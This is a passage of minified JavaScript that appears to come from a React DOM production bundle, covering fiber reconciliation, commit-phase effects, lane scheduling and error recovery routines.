13:if(Be(Ke),r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(Ve&&nn!==null&&t.mode&1&&!(t.flags&128))Gw(),Va(),t.flags|=98560,a=!1;else if(a=Sl(t),r!==null&&r.dehydrated!==null){if(e===null){if(!a)throw Error(Q(318));if(a=t.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(Q(317));a[er]=t}else Va(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;At(t),a=!1}else Ln!==null&&(xm(Ln),Ln=null),a=!0;if(!a)return t.flags&65536?t:null}return t.flags&128?(t.lanes=n,t):(r=r!==null,r!==(e!==null&&e.memoizedState!==null)&&r&&(t.child.flags|=8192,t.mode&1&&(e===null||Ke.current&1?ft===0&&(ft=3):sx())),t.updateQueue!==null&&(t.flags|=4),At(t),null);case 4:return Ka(),lm(e,t),e===null&&fo(t.stateNode.containerInfo),At(t),null;case 10:return Uh(t.type._context),At(t),null;case 17:return qt(t.type)&&Cc(),At(t),null;case 19:if(Be(Ke),a=t.memoizedState,a===null)return At(t),null;if(r=(t.flags&128)!==0,o=a.rendering,o===null)if(r)Cs(a,!1);else{if(ft!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(o=Mc(e),o!==null){for(t.flags|=128,Cs(a,!1),r=o.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),t.subtreeFlags=0,r=n,n=t.child;n!==null;)a=n,e=r,a.flags&=14680066,o=a.alternate,o===null?(a.childLanes=0,a.lanes=e,a.child=null,a.subtreeFlags=0,a.memoizedProps=null,a.memoizedState=null,a.updateQueue=null,a.dependencies=null,a.stateNode=null):(a.childLanes=o.childLanes,a.lanes=o.lanes,a.child=o.child,a.subtreeFlags=0,a.deletions=null,a.memoizedProps=o.memoizedProps,a.memoizedState=o.memoizedState,a.updateQueue=o.updateQueue,a.type=o.type,e=o.dependencies,a.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return De(Ke,Ke.current&1|2),t.child}e=e.sibling}a.tail!==null&&nt()>Ya&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304)}else{if(!r)if(e=Mc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Cs(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Ve)return At(t),null}else 2*nt()-a.renderingStartTime>Ya&&n!==1073741824&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=nt(),t.sibling=null,n=Ke.current,De(Ke,r?n&1|2:n&1),t):(At(t),null);case 22:case 23:return ax(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?en&1073741824&&(At(t),t.subtreeFlags&6&&(t.flags|=8192)):At(t),null;case 24:return null;case 25:return null}throw Error(Q(156,t.tag))}function tP(e,t){switch($h(t),t.tag){case 1:return qt(t.type)&&Cc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Ka(),Be(Kt),Be(Ot),Yh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return qh(t),null;case 13:if(Be(Ke),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(Q(340));Va()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Be(Ke),null;case 4:return Ka(),null;case 10:return Uh(t.type._context),null;case 22:case 23:return ax(),null;case 24:return null;default:return null}}var Pl=!1,_t=!1,nP=typeof WeakSet=="function"?WeakSet:Set,le=null;function Pa(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){Je(e,t,r)}else n.current=null}function cm(e,t,n){try{n()}catch(r){Je(e,t,r)}}var hg=!1;function rP(e,t){if(Kp=kc,e=Iw(),Dh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(qp={focusedElem:e,selectionRange:n},kc=!1,le=t;le!==null;)if(t=le,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,le=e;else for(;le!==null;){t=le;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Tn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(Q(163))}}catch(j){Je(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,le=e;break}le=t.return}return x=hg,hg=!1,x}function eo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&cm(t,n,a)}i=i.next}while(i!==r)}}function qu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function um(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function O5(e){var t=e.alternate;t!==null&&(e.alternate=null,O5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[er],delete t[mo],delete t[Xp],delete t[$C],delete t[BC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function T5(e){return e.tag===5||e.tag===3||e.tag===4}function xg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||T5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function dm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=zc));else if(r!==4&&(e=e.child,e!==null))for(dm(e,t,n),e=e.sibling;e!==null;)dm(e,t,n),e=e.sibling}function fm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(fm(e,t,n),e=e.sibling;e!==null;)fm(e,t,n),e=e.sibling}var kt=null,Mn=!1;function Hr(e,t,n){for(n=n.child;n!==null;)M5(e,t,n),n=n.sibling}function M5(e,t,n){if(ir&&typeof ir.onCommitFiberUnmount=="function")try{ir.onCommitFiberUnmount($u,n)}catch{}switch(n.tag){case 5:_t||Pa(n,t);case 6:var r=kt,i=Mn;kt=null,Hr(e,t,n),kt=r,Mn=i,kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):kt.removeChild(n.stateNode));break;case 18:kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?Mf(e.parentNode,n):e.nodeType===1&&Mf(e,n),lo(e)):Mf(kt,n.stateNode));break;case 4:r=kt,i=Mn,kt=n.stateNode.containerInfo,Mn=!0,Hr(e,t,n),kt=r,Mn=i;break;case 0:case 11:case 14:case 15:if(!_t&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&cm(n,t,o),i=i.next}while(i!==r)}Hr(e,t,n);break;case 1:if(!_t&&(Pa(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){Je(n,t,l)}Hr(e,t,n);break;case 21:Hr(e,t,n);break;case 22:n.mode&1?(_t=(r=_t)||n.memoizedState!==null,Hr(e,t,n),_t=r):Hr(e,t,n);break;default:Hr(e,t,n)}}function vg(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new nP),t.forEach(function(r){var i=fP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function An(e,t){var n=t.deletions;if(n!==null)for(var r=0;r<n.length;r++){var i=n[r];try{var a=e,o=t,l=o;e:for(;l!==null;){switch(l.tag){case 5:kt=l.stateNode,Mn=!1;break e;case 3:kt=l.stateNode.containerInfo,Mn=!0;break e;case 4:kt=l.stateNode.containerInfo,Mn=!0;break e}l=l.return}if(kt===null)throw Error(Q(160));M5(a,o,i),kt=null,Mn=!1;var c=i.alternate;c!==null&&(c.return=null),i.return=null}catch(u){Je(i,t,u)}}if(t.subtreeFlags&12854)for(t=t.child;t!==null;)L5(t,e),t=t.sibling}function L5(e,t){var n=e.alternate,r=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:if(An(t,e),Gn(e),r&4){try{eo(3,e,e.return),qu(3,e)}catch(g){Je(e,e.return,g)}try{eo(5,e,e.return)}catch(g){Je(e,e.return,g)}}break;case 1:An(t,e),Gn(e),r&512&&n!==null&&Pa(n,n.return);break;case 5:if(An(t,e),Gn(e),r&512&&n!==null&&Pa(n,n.return),e.flags&32){var i=e.stateNode;try{io(i,"")}catch(g){Je(e,e.return,g)}}if(r&4&&(i=e.stateNode,i!=null)){var a=e.memoizedProps,o=n!==null?n.memoizedProps:a,l=e.type,c=e.updateQueue;if(e.updateQueue=null,c!==null)try{l==="input"&&a.type==="radio"&&a.name!=null&&rw(i,a),Ip(l,o);var u=Ip(l,a);for(o=0;o<c.length;o+=2){var d=c[o],f=c[o+1];d==="style"?lw(i,f):d==="dangerouslySetInnerHTML"?sw(i,f):d==="children"?io(i,f):Nh(i,d,f,u)}switch(l){case"input":_p(i,a);break;case"textarea":iw(i,a);break;case"select":var m=i._wrapperState.wasMultiple;i._wrapperState.wasMultiple=!!a.multiple;var h=a.value;h!=null?Ta(i,!!a.multiple,h,!1):m!==!!a.multiple&&(a.defaultValue!=null?Ta(i,!!a.multiple,a.defaultValue,!0):Ta(i,!!a.multiple,a.multiple?[]:"",!1))}i[mo]=a}catch(g){Je(e,e.return,g)}}break;case 6:if(An(t,e),Gn(e),r&4){if(e.stateNode===null)throw Error(Q(162));i=e.stateNode,a=e.memoizedProps;try{i.nodeValue=a}catch(g){Je(e,e.return,g)}}break;case 3:if(An(t,e),Gn(e),r&4&&n!==null&&n.memoizedState.isDehydrated)try{lo(t.containerInfo)}catch(g){Je(e,e.return,g)}break;case 4:An(t,e),Gn(e);break;case 13:An(t,e),Gn(e),i=e.child,i.flags&8192&&(a=i.memoizedState!==null,i.stateNode.isHidden=a,!a||i.alternate!==null&&i.alternate.memoizedState!==null||(rx=nt())),r&4&&vg(e);break;case 22:if(d=n!==null&&n.memoizedState!==null,e.mode&1?(_t=(u=_t)||d,An(t,e),_t=u):An(t,e),Gn(e),r&8192){if(u=e.memoizedState!==null,(e.stateNode.isHidden=u)&&!d&&e.mode&1)for(le=e,d=e.child;d!==null;){for(f=le=d;le!==null;){switch(m=le,h=m.child,m.tag){case 0:case 11:case 14:case 15:eo(4,m,m.return);break;case 1:Pa(m,m.return);var x=m.stateNode;if(typeof x.componentWillUnmount=="function"){r=m,n=m.return;try{t=r,x.props=t.memoizedProps,x.state=t.memoizedState,x.componentWillUnmount()}catch(g){Je(r,n,g)}}break;case 5:Pa(m,m.return);break;case 22:if(m.memoizedState!==null){yg(f);continue}}h!==null?(h.return=m,le=h):yg(f)}d=d.sibling}e:for(d=null,f=e;;){if(f.tag===5){if(d===null){d=f;try{i=f.stateNode,u?(a=i.style,typeof a.setProperty=="function"?a.setProperty("display","none","important"):a.display="none"):(l=f.stateNode,c=f.memoizedProps.style,o=c!=null&&c.hasOwnProperty("display")?c.display:null,l.style.display=ow("display",o))}catch(g){Je(e,e.return,g)}}}else if(f.tag===6){if(d===null)try{f.stateNode.nodeValue=u?"":f.memoizedProps}catch(g){Je(e,e.return,g)}}else if((f.tag!==22&&f.tag!==23||f.memoizedState===null||f===e)&&f.child!==null){f.child.return=f,f=f.child;continue}if(f===e)break e;for(;f.sibling===null;){if(f.return===null||f.return===e)break e;d===f&&(d=null),f=f.return}d===f&&(d=null),f.sibling.return=f.return,f=f.sibling}}break;case 19:An(t,e),Gn(e),r&4&&vg(e);break;case 21:break;default:An(t,e),Gn(e)}}function Gn(e){var t=e.flags;if(t&2){try{e:{for(var n=e.return;n!==null;){if(T5(n)){var r=n;break e}n=n.return}throw Error(Q(160))}switch(r.tag){case 5:var i=r.stateNode;r.flags&32&&(io(i,""),r.flags&=-33);var a=xg(e);fm(e,a,i);break;case 3:case 4:var o=r.stateNode.containerInfo,l=xg(e);dm(e,l,o);break;default:throw Error(Q(161))}}catch(c){Je(e,e.return,c)}e.flags&=-3}t&4096&&(e.flags&=-4097)}function iP(e,t,n){le=e,I5(e)}function I5(e,t,n){for(var r=(e.mode&1)!==0;le!==null;){var i=le,a=i.child;if(i.tag===22&&r){var o=i.memoizedState!==null||Pl;if(!o){var l=i.alternate,c=l!==null&&l.memoizedState!==null||_t;l=Pl;var u=_t;if(Pl=o,(_t=c)&&!u)for(le=i;le!==null;)o=le,c=o.child,o.tag===22&&o.memoizedState!==null?bg(i):c!==null?(c.return=o,le=c):bg(i);for(;a!==null;)le=a,I5(a),a=a.sibling;le=i,Pl=l,_t=u}gg(e)}else i.subtreeFlags&8772&&a!==null?(a.return=i,le=a):gg(e)}}function gg(e){for(;le!==null;){var t=le;if(t.flags&8772){var n=t.alternate;try{if(t.flags&8772)switch(t.tag){case 0:case 11:case 15:_t||qu(5,t);break;case 1:var r=t.stateNode;if(t.flags&4&&!_t)if(n===null)r.componentDidMount();else{var i=t.elementType===t.type?n.memoizedProps:Tn(t.type,n.memoizedProps);r.componentDidUpdate(i,n.memoizedState,r.__reactInternalSnapshotBeforeUpdate)}var a=t.updateQueue;a!==null&&ng(t,a,r);break;case 3:var o=t.updateQueue;if(o!==null){if(n=null,t.child!==null)switch(t.child.tag){case 5:n=t.child.stateNode;break;case 1:n=t.child.stateNode}ng(t,o,n)}break;case 5:var l=t.stateNode;if(n===null&&t.flags&4){n=l;var c=t.memoizedProps;switch(t.type){case"button":case"input":case"select":case"textarea":c.autoFocus&&n.focus();break;case"img":c.src&&(n.src=c.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(t.memoizedState===null){var u=t.alternate;if(u!==null){var d=u.memoizedState;if(d!==null){var f=d.dehydrated;f!==null&&lo(f)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;default:throw Error(Q(163))}_t||t.flags&512&&um(t)}catch(m){Je(t,t.return,m)}}if(t===e){le=null;break}if(n=t.sibling,n!==null){n.return=t.return,le=n;break}le=t.return}}function yg(e){for(;le!==null;){var t=le;if(t===e){le=null;break}var n=t.sibling;if(n!==null){n.return=t.return,le=n;break}le=t.return}}function bg(e){for(;le!==null;){var t=le;try{switch(t.tag){case 0:case 11:case 15:var n=t.return;try{qu(4,t)}catch(c){Je(t,n,c)}break;case 1:var r=t.stateNode;if(typeof r.componentDidMount=="function"){var i=t.return;try{r.componentDidMount()}catch(c){Je(t,i,c)}}var a=t.return;try{um(t)}catch(c){Je(t,a,c)}break;case 5:var o=t.return;try{um(t)}catch(c){Je(t,o,c)}}}catch(c){Je(t,t.return,c)}if(t===e){le=null;break}var l=t.sibling;if(l!==null){l.return=t.return,le=l;break}le=t.return}}var aP=Math.ceil,Dc=Ir.ReactCurrentDispatcher,tx=Ir.ReactCurrentOwner,kn=Ir.ReactCurrentBatchConfig,Ne=0,gt=null,at=null,zt=0,en=0,Ea=bi(0),ft=0,bo=null,Xi=0,Yu=0,nx=0,to=null,Ft=null,rx=0,Ya=1/0,mr=null,Rc=!1,pm=null,oi=null,El=!1,Jr=null,$c=0,no=0,mm=null,lc=-1,cc=0;function Lt(){return Ne&6?nt():lc!==-1?lc:lc=nt()}function li(e){return e.mode&1?Ne&2&&zt!==0?zt&-zt:WC.transition!==null?(cc===0&&(cc=bw()),cc):(e=Ae,e!==0||(e=window.event,e=e===void 0?16:Cw(e.type)),e):1}function Bn(e,t,n,r){if(50<no)throw no=0,mm=null,Error(Q(185));Uo(e,n,r),(!(Ne&2)||e!==gt)&&(e===gt&&(!(Ne&2)&&(Yu|=n),ft===4&&Xr(e,zt)),Yt(e,r),n===1&&Ne===0&&!(t.mode&1)&&(Ya=nt()+500,Vu&&wi()))}function Yt(e,t){var n=e.callbackNode;Wz(e,t);var r=jc(e,e===gt?zt:0);if(r===0)n!==null&&Ev(n),e.callbackNode=null,e.callbackPriority=0;else if(t=r&-r,e.callbackPriority!==t){if(n!=null&&Ev(n),t===1)e.tag===0?FC(wg.bind(null,e)):Kw(wg.bind(null,e)),DC(function(){!(Ne&6)&&wi()}),n=null;else{switch(ww(r)){case 1:n=Eh;break;case 4:n=gw;break;case 16:n=wc;break;case 536870912:n=yw;break;default:n=wc}n=V5(n,D5.bind(null,e))}e.callbackPriority=t,e.callbackNode=n}}function D5(e,t){if(lc=-1,cc=0,Ne&6)throw Error(Q(327));var n=e.callbackNode;if(Ra()&&e.callbackNode!==n)return null;var r=jc(e,e===gt?zt:0);if(r===0)return null;if(r&30||r&e.expiredLanes||t)t=Bc(e,r);else{t=r;var i=Ne;Ne|=2;var a=$5();(gt!==e||zt!==t)&&(mr=null,Ya=nt()+500,Fi(e,t));do try{lP();break}catch(l){R5(e,l)}while(!0);Wh(),Dc.current=a,Ne=i,at!==null?t=0:(gt=null,zt=0,t=ft)}if(t!==0){if(t===2&&(i=Fp(e),i!==0&&(r=i,t=hm(e,i))),t===1)throw n=bo,Fi(e,0),Xr(e,r),Yt(e,nt()),n;if(t===6)Xr(e,r);else{if(i=e.current.alternate,!(r&30)&&!sP(i)&&(t=Bc(e,r),t===2&&(a=Fp(e),a!==0&&(r=a,t=hm(e,a))),t===1))throw n=bo,Fi(e,0),Xr(e,r),Yt(e,nt()),n;switch(e.finishedWork=i,e.finishedLanes=r,t){case 0:case 1:throw Error(Q(345));case 2:Ai(e,Ft,mr);break;case 3:if(Xr(e,r),(r&130023424)===r&&(t=rx+500-nt(),10<t)){if(jc(e,0)!==0)break;if(i=e.suspendedLanes,(i&r)!==r){Lt(),e.pingedLanes|=e.suspendedLanes&i;break}e.timeoutHandle=Gp(Ai.bind(null,e,Ft,mr),t);break}Ai(e,Ft,mr);break;case 4:if(Xr(e,r),(r&4194240)===r)break;for(t=e.eventTimes,i=-1;0<r;){var o=31-$n(r);a=1<<o,o=t[o],o>i&&(i=o),r&=~a}if(r=i,r=nt()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*aP(r/1960))-r,10<r){e.timeoutHandle=Gp(Ai.bind(null,e,Ft,mr),r);break}Ai(e,Ft,mr);break;case 5:Ai(e,Ft,mr);break;default:throw Error(Q(329))}}}return Yt(e,nt()),e.callbackNode===n?D5.bind(null,e):null}function hm(e,t){var n=to;return e.current.memoizedState.isDehydrated&&(Fi(e,t).flags|=256),e=Bc(e,t),e!==2&&(t=Ft,Ft=n,t!==null&&xm(t)),e}function xm(e){Ft===null?Ft=e:Ft.push.apply(Ft,e)}function sP(e){for(var t=e;;){if(t.flags&16384){var n=t.updateQueue;if(n!==null&&(n=n.stores,n!==null))for(var r=0;r<n.length;r++){var i=n[r],a=i.getSnapshot;i=i.value;try{if(!Wn(a(),i))return!1}catch{return!1}}}if(n=t.child,t.subtreeFlags&16384&&n!==null)n.return=t,t=n;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function Xr(e,t){for(t&=~nx,t&=~Yu,e.suspendedLanes|=t,e.pingedLanes&=~t,e=e.expirationTimes;0<t;){var n=31-$n(t),r=1<<n;e[n]=-1,t&=~r}}function wg(e){if(Ne&6)throw Error(Q(327));Ra();var t=jc(e,0);if(!(t&1))return Yt(e,nt()),null;var n=Bc(e,t);if(e.tag!==0&&n===2){var r=Fp(e);r!==0&&(t=r,n=hm(e,r))}if(n===1)throw n=bo,Fi(e,0),Xr(e,t),Yt(e,nt()),n;if(n===6)throw Error(Q(345));return e.finishedWork=e.current.alternate,e.finishedLanes=t,Ai(e,Ft,mr),Yt(e,nt()),null}function ix(e,t){var n=Ne;Ne|=1;try{return e(t)}finally{Ne=n,Ne===0&&(Ya=nt()+500,Vu&&wi())}}function Zi(e){Jr!==null&&Jr.tag===0&&!(Ne&6)&&Ra();var t=Ne;Ne|=1;var n=kn.transition,r=Ae;try{if(kn.transition=null,Ae=1,e)return e()}finally{Ae=r,kn.transition=n,Ne=t,!(Ne&6)&&wi()}}function ax(){en=Ea.current,Be(Ea)}function Fi(e,t){e.finishedWork=null,e.finishedLanes=0;var n=e.timeoutHandle;if(n!==-1&&(e.timeoutHandle=-1,IC(n)),at!==null)for(n=at.return;n!==null;){var r=n;switch($h(r),r.tag){case 1:r=r.type.childContextTypes,r!=null&&Cc();break;case 3:Ka(),Be(Kt),Be(Ot),Yh();break;case 5:qh(r);break;case 4:Ka();break;case 13:Be(Ke);break;case 19:Be(Ke);break;case 10:Uh(r.type._context);break;case 22:case 23:ax()}n=n.return}if(gt=e,at=e=ci(e.current,null),zt=en=t,ft=0,bo=null,nx=Yu=Xi=0,Ft=to=null,Ii!==null){for(t=0;t<Ii.length;t++)if(n=Ii[t],r=n.interleaved,r!==null){n.interleaved=null;var i=r.next,a=n.pending;if(a!==null){var o=a.next;a.next=i,r.next=o}n.pending=r}Ii=null}return e}function R5(e,t){do{var n=at;try{if(Wh(),ac.current=Ic,Lc){for(var r=qe.memoizedState;r!==null;){var i=r.queue;i!==null&&(i.pending=null),r=r.next}Lc=!1}if(Gi=0,vt=ct=qe=null,Js=!1,vo=0,tx.current=null,n===null||n.return===null){ft=1,bo=t,at=null;break}e:{var a=e,o=n.return,l=n,c=t;if(t=zt,l.flags|=32768,c!==null&&typeof c=="object"&&typeof c.then=="function"){var u=c,d=l,f=d.tag;if(!(d.mode&1)&&(f===0||f===11||f===15)){var m=d.alternate;m?(d.updateQueue=m.updateQueue,d.memoizedState=m.memoizedState,d.lanes=m.lanes):(d.updateQueue=null,d.memoizedState=null)}var h=lg(o);if(h!==null){h.flags&=-257,cg(h,o,l,a,t),h.mode&1&&og(a,u,t),t=h,c=u;var x=t.updateQueue;if(x===null){var g=new Set;g.add(c),t.updateQueue=g}else x.add(c);break e}else{if(!(t&1)){og(a,u,t),sx();break e}c=Error(Q(426))}}else if(Ve&&l.mode&1){var y=lg(o);if(y!==null){!(y.flags&65536)&&(y.flags|=256),cg(y,o,l,a,t),Bh(qa(c,l));break e}}a=c=qa(c,l),ft!==4&&(ft=2),to===null?to=[a]:to.push(a),a=o;do{switch(a.tag){case 3:a.flags|=65536,t&=-t,a.lanes|=t;var v=w5(a,c,t);tg(a,v);break e;case 1:l=c;var b=a.type,w=a.stateNode;if(!(a.flags&128)&&(typeof b.getDerivedStateFromError=="function"||w!==null&&typeof w.componentDidCatch=="function"&&(oi===null||!oi.has(w)))){a.flags|=65536,t&=-t,a.lanes|=t;var j=j5(a,l,t);tg(a,j);break e}}a=a.return}while(a!==null)}F5(n)}catch(k){t=k,at===n&&n!==null&&(at=n=n.return);continue}break}while(!0)}function $5(){var e=Dc.current;return Dc.current=Ic,e===null?Ic:e}function sx(){(ft===0||ft===3||ft===2)&&(ft=4),gt===null||!(Xi&268435455)&&!(Yu&268435455)||Xr(gt,zt)}function Bc(e,t){var n=Ne;Ne|=2;var r=$5();(gt!==e||zt!==t)&&(mr=null,Fi(e,t));do try{oP();break}catch(i){R5(e,i)}while(!0);if(Wh(),Ne=n,Dc.current=r,at!==null)throw Error(Q(261));return gt=null,zt=0,ft}function oP(){for(;at!==null;)B5(at)}function lP(){for(;at!==null&&!Tz();)B5(at)}function B5(e){var t=U5(e.alternate,e,en);e.memoizedProps=e.pendingProps,t===null?F5(e):at=t,tx.current=null}function F5(e){var t=e;do{var n=t.alternate;if(e=t.return,t.flags&32768){if(n=tP(n,t),n!==null){n.flags&=32767,at=n;return}if(e!==null)e.flags|=32768,e.subtreeFlags=0,e.deletions=null;else{ft=6,at=null;return}}else if(n=eP(n,t,en),n!==null){at=n;return}if(t=t.sibling,t!==null){at=t;return}at=t=e}while(t!==null);ft===0&&(ft=5)}function Ai(e,t,n){var r=Ae,i=kn.transition;try{kn.transition=null,Ae=1,cP(e,t,n,r)}finally{kn.transition=i,Ae=r}return null}function cP(e,t,n,r){do Ra();while(Jr!==null);if(Ne&6)throw Error(Q(327));n=e.finishedWork;var i=e.finishedLanes;if(n===null)return null;if(e.finishedWork=null,e.finishedLanes=0,n===e.current)throw Error(Q(177));e.callbackNode=null,e.callbackPriority=0;var a=n.lanes|n.childLanes;if(Uz(e,a),e===gt&&(at=gt=null,zt=0),!(n.subtreeFlags&2064)&&!(n.flags&2064)||El||(El=!0,V5(wc,function(){return Ra(),null})),a=(n.flags&15990)!==0,n.subtreeFlags&15990||a){a=kn.transition,kn.transition=null;var o=Ae;Ae=1;var l=Ne;Ne|=4,tx.current=null,rP(e,n),L5(n,e),EC(qp),kc=!!Kp,qp=Kp=null,e.current=n,iP(n),Mz(),Ne=l,Ae=o,kn.transition=a}else e.current=n;if(El&&(El=!1,Jr=e,$c=i),a=e.pendingLanes,a===0&&(oi=null),Dz(n.stateNode),Yt(e,nt()),t!==null)for(r=e.onRecoverableError,n=0;n<t.length;n++)i=t[n],r(i.value,{componentStack:i.stack,digest:i.digest});if(Rc)throw Rc=!1,e=pm,pm=null,e;return $c&1&&e.tag!==0&&Ra(),a=e.pendingLanes,a&1?e===mm?no++:(no=0,mm=e):no=0,wi(),null}function Ra(){if(Jr!==null){var e=ww($c),t=kn.transition,n=Ae;try{if(kn.transition=null,Ae=16>e?16:e,Jr===null)var r=!1;else{if(e=Jr,Jr=null,$c=0,Ne&6)throw Error(Q(331));var i=Ne;for(Ne|=4,le=e.current;le!==null;){var a=le,o=a.child;if(le.flags&16){var l=a.deletions;if(l!==null){for(var c=0;c<l.length;c++){var u=l[c];for(le=u;le!==null;){var d=le;switch(d.tag){case 0:case 11:case 15:eo(8,d,a)}var f=d.child;if(f!==null)f.return=d,le=f;else for(;le!==null;){d=le;var m=d.sibling,h=d.return;if(O5(d),d===u){le=null;break}if(m!==null){m.return=h,le=m;break}le=h}}}var x=a.alternate;if(x!==null){var g=x.child;if(g!==null){x.child=null;do{var y=g.sibling;g.sibling=null,g=y}while(g!==null)}}le=a}}if(a.subtreeFlags&2064&&o!==null)o.return=a,le=o;else e:for(;le!==null;){if(a=le,a.flags&2048)switch(a.tag){case 0:case 11:case 15:eo(9,a,a.return)}var v=a.sibling;if(v!==null){v.return=a.return,le=v;break e}le=a.return}}var b=e.current;for(le=b;le!==null;){o=le;var w=o.child;if(o.subtreeFlags&2064&&w!==null)w.return=o,le=w;else e:for(o=b;le!==null;){if(l=le,l.flags&2048)try{switch(l.tag){case 0:case 11:case 15:qu(9,l)}}catch(k){Je(l,l.return,k)}if(l===o){le=null;break e}var j=l.sibling;if(j!==null){j.return=l.return,le=j;break e}le=l.return}}if(Ne=i,wi(),ir&&typeof ir.onPostCommitFiberRoot=="function")try{ir.onPostCommitFiberRoot($u,e)}catch{}r=!0}return r}finally{Ae=n,kn.transition=t}}return!1}function jg(e,t,n){t=qa(n,t),t=w5(e,t,1),e=si(e,t,1),t=Lt(),e!==null&&(Uo(e,1,t),Yt(e,t))}function Je(e,t,n){if(e.tag===3)jg(e,e,n);else for(;t!==null;){if(t.tag===3){jg(t,e,n);break}else if(t.tag===1){var r=t.stateNode;if(typeof t.type.getDerivedStateFromError=="function"||typeof r.componentDidCatch=="function"&&(oi===null||!oi.has(r))){e=qa(n,e),e=j5(t,e,1),t=si(t,e,1),e=Lt(),t!==null&&(Uo(t,1,e),Yt(t,e));break}}t=t.return}}function uP(e,t,n){var r=e.pingCache;r!==null&&r.delete(t),t=Lt(),e.pingedLanes|=e.suspendedLanes&n,gt===e&&(zt&n)===n&&(ft===4||ft===3&&(zt&130023424)===zt&&500>nt()-rx?Fi(e,0):nx|=n),Yt(e,t)}function W5(e,t){t===0&&(e.mode&1?(t=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):t=1);var 